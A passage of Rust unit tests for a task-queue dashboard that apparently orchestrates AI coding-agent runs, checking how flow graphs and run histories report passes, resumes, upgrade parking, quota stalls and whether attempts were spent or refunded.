16882        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16883        assert_eq!(v["runs_unreadable"], 1);
16884        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16885        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16886        assert_eq!(nodes[4]["note"], "unreadable");
16887        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16888        assert_eq!(v["instruction"], "Do the thing");
16889        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16890
16891        // The run's own page links back to the task.
16892        let run = f.get(&format!("/api/runs/{a}")).await.json();
16893        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16894
16895        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16896    }
16897
16898    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16899        let mut s = RunState::new(
16900            PathBuf::from("/repo/magi"),
16901            "main".to_owned(),
16902            "0123456789abcdef".to_owned(),
16903            "Do it".to_owned(),
16904            Config::default(),
16905        );
16906        s.status = status;
16907        edit(&mut s);
16908        s
16909    }
16910
16911    fn flow_task(runs: &[&str]) -> Task {
16912        let mut t = Task::new(
16913            "t".to_owned(),
16914            "Do it".to_owned(),
16915            PathBuf::from("/repo/magi"),
16916            Source::Human,
16917        );
16918        for r in runs {
16919            t.start((*r).to_owned());
16920        }
16921        // Synthetic flows without RunPass records model legacy queue data.
16922        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16923        t
16924    }
16925
16926    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16927        let h = task_history(task, |id| {
16928            states
16929                .iter()
16930                .find(|(i, _)| *i == id)
16931                .and_then(|(_, s)| s.clone())
16932        });
16933        task_flow(task, &h, 5, None)
16934    }
16935
16936    #[test]
16937    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16938        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16939        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16940        let first = "2026-10-10T02:00:00Z".parse().unwrap();
16941        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16942        let held = "2026-10-10T04:00:00Z".parse().unwrap();
16943        let run = flow_run(RunStatus::Implementing, |s| {
16944            s.created_at = created;
16945            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16946            s.passes[0].started_at = first;
16947            s.passes[1].started_at = resumed;
16948        });
16949        let mut task = flow_task(&[RUN_X, RUN_X]);
16950        task.created_at = queued;
16951        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16952        task.status = TaskStatus::Held;
16953        task.held_at = Some(held);
16954        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16955        assert_eq!(
16956            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16957            vec![Some(queued), Some(first), Some(resumed), Some(held)]
16958        );
16959        assert!(flow.nodes.iter().all(|n| n.time_expected));
16960        let json = serde_json::to_value(&flow).unwrap();
16961        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16962        assert_eq!(json["nodes"][2]["time_expected"], true);
16963    }
16964
16965    #[test]
16966    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16967        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16968        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16969        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16970        // These timestamps are not the start of the current status.
16971        task.held_at = Some(created);
16972        task.blocked_at = Some(created);
16973        for status in [
16974            TaskStatus::Queued,
16975            TaskStatus::Running,
16976            TaskStatus::Blocked,
16977            TaskStatus::Done,
16978            TaskStatus::Failed,
16979            TaskStatus::Parked,
16980            TaskStatus::Held,
16981        ] {
16982            task.status = status;
16983            if status == TaskStatus::Held {
16984                task.held_at = None;
16985            }
16986            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16987            assert_eq!(flow.nodes[1].started_at, Some(created));
16988            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16989            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16990            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16991            let json = serde_json::to_value(&flow).unwrap();
16992            assert!(json["nodes"][3]["started_at"].is_null());
16993            assert_eq!(json["nodes"][3]["time_expected"], true);
16994        }
16995    }
16996
16997    #[test]
16998    fn flow_context_links_do_not_expect_start_times() {
16999        let mut task = flow_task(&[]);
17000        task.source = Source::Agent {
17001            run: "chat-id".to_owned(),
17002            node: "chat".to_owned(),
17003        };
17004        let origin = followup_origin(&fu(None), |_| None, |_| None);
17005        let flow = task_flow(&task, &[], 5, Some(&origin));
17006        for node in &flow.nodes[..2] {
17007            assert!(!node.time_expected);
17008            assert_eq!(node.started_at, None);
17009        }
17010        assert!(flow.nodes[2].time_expected);
17011    }
17012
17013    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
17014        crate::queue::FollowUp {
17015            run: "20260901-000000-aaaa".to_owned(),
17016            origin_task: origin_task.map(str::to_owned),
17017            pr: "https://example.com/o/r/pull/1".to_owned(),
17018            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
17019                .map(str::to_owned)
17020                .to_vec(),
17021            generation: 1,
17022        }
17023    }
17024
17025    fn parent_task() -> Task {
17026        let mut p = flow_task(&[]);
17027        p.title = "Parent title".to_owned();
17028        p.status = TaskStatus::Done;
17029        p
17030    }
17031
17032    #[test]
17033    fn flow_opens_with_the_parent_task_of_a_followup() {
17034        let p = parent_task();
17035        let pid = p.id.clone();
17036        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
17037        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17038        let n = &f.nodes[0];
17039        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
17040        assert_eq!(
17041            n.label,
17042            format!("Follow-up of {}", crate::queue::short(&pid))
17043        );
17044        assert_eq!(n.detail.as_deref(), Some("Parent title"));
17045        assert_eq!(n.status, Some("done"));
17046        assert_eq!(n.status_of, "task");
17047        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
17048        assert_eq!(f.nodes[1].key, "start");
17049        assert_eq!(f.edges[0].from, "origin");
17050        assert_eq!(
17051            f.edges[0].label,
17052            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
17053        );
17054    }
17055
17056    #[test]
17057    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17058        let o = followup_origin(
17059            &fu(Some("gone")),
17060            |_| None,
17061            |_| {
17062                Some(RunState::new(
17063                    std::path::PathBuf::from("."),
17064                    "main".to_owned(),
17065                    "0".to_owned(),
17066                    "t".to_owned(),
17067                    crate::config::Config::default(),
17068                ))
17069            },
17070        );
17071        assert!(o.parent.is_none());
17072        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17073        let n = &f.nodes[0];
17074        assert_eq!(n.status_of, "run");
17075        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17076        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17077    }
17078
17079    #[test]
17080    fn flow_followup_with_nothing_readable_has_no_link() {
17081        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17082        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17083        let n = &f.nodes[0];
17084        assert_eq!(n.href, None);
17085        assert_eq!(n.note, Some("unreadable"));
17086        assert!(!n.readable);
17087    }
17088
17089    #[test]
17090    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17091        let o = followup_origin(&fu(None), |_| None, |_| None);
17092        let mut t = flow_task(&[]);
17093        t.origin_chat = Some("c1".to_owned());
17094        let f = task_flow(&t, &[], 5, Some(&o));
17095        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17096        t.source = Source::Agent {
17097            run: "c1".to_owned(),
17098            node: crate::queue::CHAT_NODE.to_owned(),
17099        };
17100        let f = task_flow(&t, &[], 5, Some(&o));
17101        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17102        assert_eq!(
17103            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17104            ("chat", "origin")
17105        );
17106    }
17107
17108    #[test]
17109    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17110        let mut p = parent_task();
17111        p.id = "a b/c".to_owned();
17112        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17113        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17114    }
17115
17116    #[test]
17117    fn flow_opens_with_the_chat_that_queued_the_task() {
17118        let mut t = flow_task(&[]);
17119        t.source = Source::Agent {
17120            run: "a b/c".to_owned(),
17121            node: crate::queue::CHAT_NODE.to_owned(),
17122        };
17123        let f = flow_for(&t, &[]);
17124        assert_eq!(f.nodes[0].key, "chat");
17125        assert_eq!(f.nodes[0].kind, "chat");
17126        assert_eq!(
17127            f.nodes[0].label,
17128            format!("Chat {}", crate::queue::short("a b/c"))
17129        );
17130        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17131        assert_eq!(f.nodes[1].key, "start");
17132        assert_eq!(
17133            f.edges[0],
17134            FlowEdge {
17135                from: "chat".to_owned(),
17136                to: "start".to_owned(),
17137                label: "queued from chat".to_owned(),
17138                attempt: AttemptCost::None,
17139            }
17140        );
17141    }
17142
17143    #[test]
17144    fn flow_has_no_chat_box_for_other_sources() {
17145        for source in [
17146            Source::Human,
17147            Source::Issue {
17148                number: 3,
17149                repo: "o/r".to_owned(),
17150            },
17151            Source::Agent {
17152                run: "20260904-014455-ab12".to_owned(),
17153                node: "implement".to_owned(),
17154            },
17155        ] {
17156            let mut t = flow_task(&[]);
17157            t.source = source;
17158            let f = flow_for(&t, &[]);
17159            assert_eq!(f.nodes[0].key, "start");
17160            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17161            assert!(f.edges.iter().all(|e| e.from != "chat"));
17162        }
17163    }
17164
17165    const FA: &str = "20260902-140501-aaaa";
17166    const FB: &str = "20260902-140502-bbbb";
17167
17168    #[test]
17169    fn flow_follows_blocked_retry_merged_to_done() {
17170        let mut t = flow_task(&[FA, FB]);
17171        t.status = TaskStatus::Done;
17172        let f = flow_for(
17173            &t,
17174            &[
17175                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17176                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17177            ],
17178        );
17179        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17180        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17181        assert_eq!(f.edges.len(), 3);
17182        assert_eq!(f.edges[0].label, "claimed");
17183        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17184        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17185        assert_eq!(f.edges[2].label, "merged \u{2192} done");
17186        assert_eq!(
17187            f.nodes[2].href.as_deref(),
17188            Some("#/runs/20260902-140502-bbbb")
17189        );
17190        assert!(f.nodes[2].decided);
17191    }
17192
17193    #[test]
17194    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17195        let quota = || {
17196            flow_run(RunStatus::Stalled, |s| {
17197                s.quota.push(crate::run::QuotaLoss {
17198                    cause: crate::agent::QuotaCause::UsageLimit,
17199                    agent: String::new(),
17200                    seat: "judge-1".to_owned(),
17201                    node: "judge".to_owned(),
17202                    at: Timestamp::now(),
17203                    reset: None,
17204                })
17205            })
17206        };
17207        let mut t = flow_task(&[FA, FA]);
17208        t.status = TaskStatus::Queued;
17209        let f = flow_for(&t, &[(FA, Some(quota()))]);
17210        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17211        assert_eq!(f.nodes[1].note, Some("interrupted"));
17212        assert_eq!(
17213            f.nodes[1].status, None,
17214            "no outcome copied onto an earlier pass"
17215        );
17216        assert_eq!(
17217            f.edges[1].attempt,
17218            AttemptCost::Unknown,
17219            "a resume does not prove the earlier pass was refunded"
17220        );
17221        assert!(f.edges[1].label.contains("resume the same run"));
17222        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17223        assert_eq!(
17224            f.edges[2].label,
17225            "stalled after a resume, refund unknown \u{2192} queued"
17226        );
17227        assert!(!f.nodes[2].decided, "a stall is not a decision");
17228        assert_eq!(f.nodes[2].note, Some("no verdict"));
17229    }
17230
17231    #[test]
17232    fn flow_single_pass_quota_stall_is_refunded() {
17233        let t = flow_task(&[FA]);
17234        let f = flow_for(
17235            &t,
17236            &[(
17237                FA,
17238                Some(flow_run(RunStatus::Stalled, |s| {
17239                    s.quota.push(crate::run::QuotaLoss {
17240                        cause: crate::agent::QuotaCause::UsageLimit,
17241                        agent: String::new(),
17242                        seat: "judge-1".to_owned(),
17243                        node: "judge".to_owned(),
17244                        at: Timestamp::now(),
17245                        reset: None,
17246                    })
17247                })),
17248            )],
17249        );
17250        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17251    }
17252
17253    #[test]
17254    fn flow_parked_refunds_and_stall_without_quota_spends() {
17255        let mut t = flow_task(&[FA]);
17256        t.status = TaskStatus::Queued;
17257        let f = flow_for(
17258            &t,
17259            &[(
17260                FA,
17261                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17262            )],
17263        );
17264        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17265        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17266        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17267        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17268        assert!(!f.nodes[1].decided);
17269    }
17270
17271    #[test]
17272    fn flow_keeps_an_unreadable_run_as_its_own_node() {
17273        let t = flow_task(&[FA, FB]);
17274        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17275        assert_eq!(f.nodes[1].note, Some("unreadable"));
17276        assert!(!f.nodes[1].readable);
17277        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17278        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17279    }
17280
17281    #[test]
17282    fn flow_names_the_branch_of_a_review_only_run() {
17283        let t = flow_task(&[FA]);
17284        let f = flow_for(
17285            &t,
17286            &[(
17287                FA,
17288                Some(flow_run(RunStatus::Merged, |s| {
17289                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17290                })),
17291            )],
17292        );
17293        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17294        assert_eq!(
17295            f.nodes[1].detail.as_deref(),
17296            Some("review-only run of branch magi/x/A")
17297        );
17298    }
17299
17300    #[test]
17301    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17302        let mut t = flow_task(&[FA]);
17303        t.status = TaskStatus::Held;
17304        let pr = crate::run::PrRecord {
17305            url: "https://example.test/pr/1".to_owned(),
17306            number: 1,
17307            state: "open".to_owned(),
17308            checks: "green".to_owned(),
17309            round: 0,
17310            rounds: 3,
17311            red_at_merge: Vec::new(),
17312        };
17313        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17314        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17315        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17316        t.status = TaskStatus::Done;
17317        let f = flow_for(&t, &[(FA, Some(blocked))]);
17318        assert_eq!(f.edges[1].label, "closed by hand: task is done");
17319    }
17320
17321    #[test]
17322    fn flow_with_no_runs_goes_from_queued_to_queued() {
17323        let t = flow_task(&[]);
17324        let f = flow_for(&t, &[]);
17325        assert_eq!(f.nodes.len(), 2);
17326        assert_eq!(f.edges.len(), 1);
17327        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17328        assert_eq!(f.edges[0].attempt, AttemptCost::None);
17329    }
17330
17331    /// A run parked mid-flight keeps a non-terminal status; the page must
17332    /// still say why it stopped and that the attempt came back.
17333    #[test]
17334    fn a_parked_non_terminal_run_is_explained_as_parked() {
17335        let mut s = RunState::new(
17336            PathBuf::from("/repo/magi"),
17337            "main".to_owned(),
17338            "0123456789abcdef".to_owned(),
17339            "Do it".to_owned(),
17340            Config::default(),
17341        );
17342        s.status = RunStatus::Implementing;
17343        s.parked = true;
17344        let task = Task::new(
17345            "t".to_owned(),
17346            "Do it".to_owned(),
17347            PathBuf::from("/repo/magi"),
17348            Source::Human,
17349        );
17350        let v = task_run_view(
17351            "20260902-140501-aaaa",
17352            Some(&s),
17353            RunSlot {
17354                n: 1,
17355                resumed: false,
17356                resumed_later: None,
17357                prior: None,
17358                last: true,
17359                ..RunSlot::default()
17360            },
17361            &task,
17362        );
17363        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17364    }
17365
17366    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17367        let mut s = flow_run(RunStatus::Implementing, edit);
17368        s.parked = false;
17369        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17370        task_run_view(
17371            "20260902-140501-aaaa",
17372            Some(&s),
17373            RunSlot {
17374                n: 1,
17375                resumed: false,
17376                resumed_later: Some(2),
17377                prior: None,
17378                last: false,
17379                ..RunSlot::default()
17380            },
17381            &task,
17382        )
17383    }
17384
17385    #[test]
17386    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17387        let v = earlier_pass_view(|_| {});
17388        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17389        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17390        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17391        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17392        assert_eq!(v.exit, RunExit::Interrupted);
17393        assert_eq!(v.attempt, AttemptCost::Unknown);
17394    }
17395
17396    #[test]
17397    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17398        let v = earlier_pass_view(|s| {
17399            s.quota.push(crate::run::QuotaLoss {
17400                cause: crate::agent::QuotaCause::UsageLimit,
17401                agent: String::new(),
17402                seat: "judge-1".to_owned(),
17403                node: "judge".to_owned(),
17404                at: Timestamp::now(),
17405                reset: None,
17406            });
17407        });
17408        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
17409        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17410        assert_eq!(v.attempt, AttemptCost::Unknown);
17411    }
17412
17413    #[test]
17414    fn the_current_pass_states_its_recorded_cause_and_cost() {
17415        let slot = || RunSlot {
17416            n: 1,
17417            resumed: false,
17418            resumed_later: None,
17419            prior: None,
17420            last: true,
17421            ..RunSlot::default()
17422        };
17423        let task = flow_task(&["20260902-140501-aaaa"]);
17424        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
17425        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
17426        assert_eq!(
17427            (v.exit, v.attempt),
17428            (RunExit::Parked, AttemptCost::Refunded)
17429        );
17430        let spent = flow_run(RunStatus::Blocked, |_| {});
17431        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
17432        assert_eq!(v.attempt, AttemptCost::Spent);
17433        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
17434    }
17435
17436    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
17437        crate::run::RunPass {
17438            index,
17439            started_at: Timestamp::now(),
17440            resumed: index > 0,
17441            ended_at: end.as_ref().map(|_| Timestamp::now()),
17442            end,
17443            task_entry: true,
17444        }
17445    }
17446
17447    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
17448        Some(crate::run::PassEnd::Parked { cause })
17449    }
17450
17451    fn upgrade_cause() -> crate::run::ParkCause {
17452        crate::run::ParkCause::Upgrade {
17453            from: "0.121.0".to_owned(),
17454            to: Some("0.121.1".to_owned()),
17455        }
17456    }
17457
17458    fn settled_pass(
17459        run: &str,
17460        index: usize,
17461        cost: crate::queue::PassCost,
17462    ) -> crate::queue::TaskPass {
17463        crate::queue::TaskPass {
17464            run: run.to_owned(),
17465            pass_index: index,
17466            started_at: None,
17467            cost,
17468            attempts_after: 1,
17469            settled_at: Timestamp::now(),
17470            parked: None,
17471        }
17472    }
17473
17474    const RUN_X: &str = "20261011-223708-4334";
17475
17476    #[test]
17477    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
17478        use crate::queue::PassCost;
17479        let run = flow_run(RunStatus::Implementing, |s| {
17480            s.passes = vec![
17481                recorded_pass(0, parked(upgrade_cause())),
17482                recorded_pass(1, None),
17483            ];
17484        });
17485        let mut task = flow_task(&[RUN_X, RUN_X]);
17486        task.attempts = 1;
17487        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17488        let h = task_history(&task, |_| Some(run.clone()));
17489        assert_eq!(h.len(), 2);
17490        assert_eq!(h[0].kind, "competition");
17491        assert_eq!(h[1].kind, "resume");
17492        assert_eq!(
17493            (h[0].exit, h[0].attempt),
17494            (RunExit::Parked, AttemptCost::Refunded)
17495        );
17496        assert!(
17497            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
17498            "{}",
17499            h[0].outcome
17500        );
17501        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
17502        assert!(
17503            h[0].outcome.contains("pass #2 resumed the same run"),
17504            "{}",
17505            h[0].outcome
17506        );
17507        assert!(
17508            h[0].outcome.contains("pass 1 of 2 over run"),
17509            "{}",
17510            h[0].outcome
17511        );
17512        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17513        assert_eq!(
17514            h[0].exit_label,
17515            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
17516        );
17517        let f = task_flow(&task, &h, 2, None);
17518        // Two passes of one run, one of two attempts consumed.
17519        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
17520        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17521        assert!(
17522            f.edges[1].label.contains("upgrade 0.121.0"),
17523            "{}",
17524            f.edges[1].label
17525        );
17526        assert!(
17527            f.edges[1].label.contains("resume the same run"),
17528            "{}",
17529            f.edges[1].label
17530        );
17531        assert_eq!(f.nodes[1].note, Some("parked"));
17532    }
17533
17534    #[test]
17535    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
17536        let mut a = flow_run(RunStatus::Implementing, |s| {
17537            s.passes = vec![
17538                recorded_pass(0, parked(upgrade_cause())),
17539                recorded_pass(1, None),
17540            ];
17541        });
17542        let mut b = flow_run(RunStatus::Failed, |s| {
17543            s.passes = vec![recorded_pass(0, None)];
17544        });
17545        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
17546        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
17547        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
17548        let mut task = flow_task(&[]);
17549        task.start("a".into());
17550        task.start("b".into());
17551        task.start("a".into());
17552        assert_eq!(task.runs, ["b", "a"]);
17553        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
17554        let h = task_history(&task, |id| {
17555            Some(if id == "a" { a.clone() } else { b.clone() })
17556        });
17557        assert_eq!(
17558            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
17559            ["a", "b", "a"]
17560        );
17561        assert_eq!(h[0].attempt, AttemptCost::Refunded);
17562        assert!(h[0].outcome.contains("upgrade"));
17563        assert_eq!(h[2].kind, "resume");
17564        assert!(h[2].pass.is_some());
17565        // The old repeated-id format must show the same recorded passes.
17566        task.runs = vec!["a".into(), "b".into(), "a".into()];
17567        let old = task_history(&task, |id| {
17568            Some(if id == "a" { a.clone() } else { b.clone() })
17569        });
17570        assert_eq!(
17571            old.iter()
17572                .map(|v| (&v.id, &v.kind, v.attempt))
17573                .collect::<Vec<_>>(),
17574            h.iter()
17575                .map(|v| (&v.id, &v.kind, v.attempt))
17576                .collect::<Vec<_>>()
17577        );
17578    }
17579
17580    #[test]
17581    fn an_upgrade_whose_target_was_not_known_says_so() {
17582        let run = flow_run(RunStatus::Implementing, |s| {
17583            s.passes = vec![
17584                recorded_pass(
17585                    0,
17586                    parked(crate::run::ParkCause::Upgrade {
17587                        from: "0.121.0".to_owned(),
17588                        to: None,
17589                    }),
17590                ),
17591                recorded_pass(1, None),
17592            ];
17593        });
17594        let task = flow_task(&[RUN_X, RUN_X]);
17595        let h = task_history(&task, |_| Some(run.clone()));
17596        assert!(
17597            h[0].outcome.contains("upgrade from 0.121.0"),
17598            "{}",
17599            h[0].outcome
17600        );
17601        // No settle record: the refund is not claimed.
17602        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17603    }
17604
17605    #[test]
17606    fn each_pass_keeps_its_own_cause_across_several_resumes() {
17607        use crate::queue::PassCost;
17608        use crate::run::ParkCause;
17609        let run = flow_run(RunStatus::Implementing, |s| {
17610            s.passes = vec![
17611                recorded_pass(0, parked(upgrade_cause())),
17612                recorded_pass(
17613                    1,
17614                    parked(ParkCause::Interrupt {
17615                        reason: "task a1b2 asked to run first".to_owned(),
17616                    }),
17617                ),
17618                recorded_pass(2, parked(ParkCause::Operator)),
17619                recorded_pass(3, None),
17620            ];
17621        });
17622        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
17623        task.attempts = 1;
17624        task.passes = (0..3)
17625            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
17626            .collect();
17627        let h = task_history(&task, |_| Some(run.clone()));
17628        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17629        assert!(
17630            h[1].outcome.contains("task a1b2 asked to run first"),
17631            "{}",
17632            h[1].outcome
17633        );
17634        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
17635        assert!(
17636            h[2].outcome.contains("operator asked the loop to park"),
17637            "{}",
17638            h[2].outcome
17639        );
17640        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
17641        let f = task_flow(&task, &h, 2, None);
17642        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
17643    }
17644
17645    #[test]
17646    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
17647        let run = flow_run(RunStatus::Implementing, |s| {
17648            s.passes = vec![
17649                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
17650                recorded_pass(1, None),
17651            ];
17652        });
17653        let task = flow_task(&[RUN_X, RUN_X]);
17654        let h = task_history(&task, |_| Some(run.clone()));
17655        assert_eq!(h[0].exit, RunExit::Interrupted);
17656        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17657        assert!(
17658            h[0].outcome.contains("without recording why"),
17659            "{}",
17660            h[0].outcome
17661        );
17662        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17663        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
17664    }
17665
17666    #[test]
17667    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17668        use crate::queue::PassCost;
17669        // Three entries, but the run only began keeping passes at the last
17670        // two: the first is legacy and must not be given a cause.
17671        let run = flow_run(RunStatus::Implementing, |s| {
17672            s.passes = vec![
17673                recorded_pass(0, parked(upgrade_cause())),
17674                recorded_pass(1, None),
17675            ];
17676        });
17677        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17678        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17679        let h = task_history(&task, |_| Some(run.clone()));
17680        assert!(h[0].pass.is_none());
17681        assert_eq!(h[0].exit, RunExit::Interrupted);
17682        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17683        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17684        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17685        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17686        // A run with no passes at all is entirely unknown.
17687        let legacy = flow_run(RunStatus::Implementing, |_| {});
17688        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17689        assert!(h.iter().all(|v| v.pass.is_none()));
17690        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17691    }
17692
17693    #[test]
17694    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17695        use crate::queue::PassCost;
17696        // Pass 1 is a web-button resume: a pass of the run, no entry of the
17697        // task. The two entries are passes 0 and 2.
17698        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17699        web.task_entry = false;
17700        let run = flow_run(RunStatus::Implementing, |s| {
17701            s.passes = vec![
17702                recorded_pass(0, parked(upgrade_cause())),
17703                web.clone(),
17704                recorded_pass(2, None),
17705            ];
17706        });
17707        let mut task = flow_task(&[RUN_X, RUN_X]);
17708        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17709        let h = task_history(&task, |_| Some(run.clone()));
17710        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17711        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17712
17713        // Legacy first entry, then a web resume that parked for an upgrade,
17714        // then the daemon's pass: the legacy entry must stay unknown.
17715        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17716        web0.task_entry = false;
17717        let run = flow_run(RunStatus::Implementing, |s| {
17718            s.passes = vec![web0.clone(), recorded_pass(1, None)];
17719        });
17720        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17721        assert!(h[0].pass.is_none());
17722        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
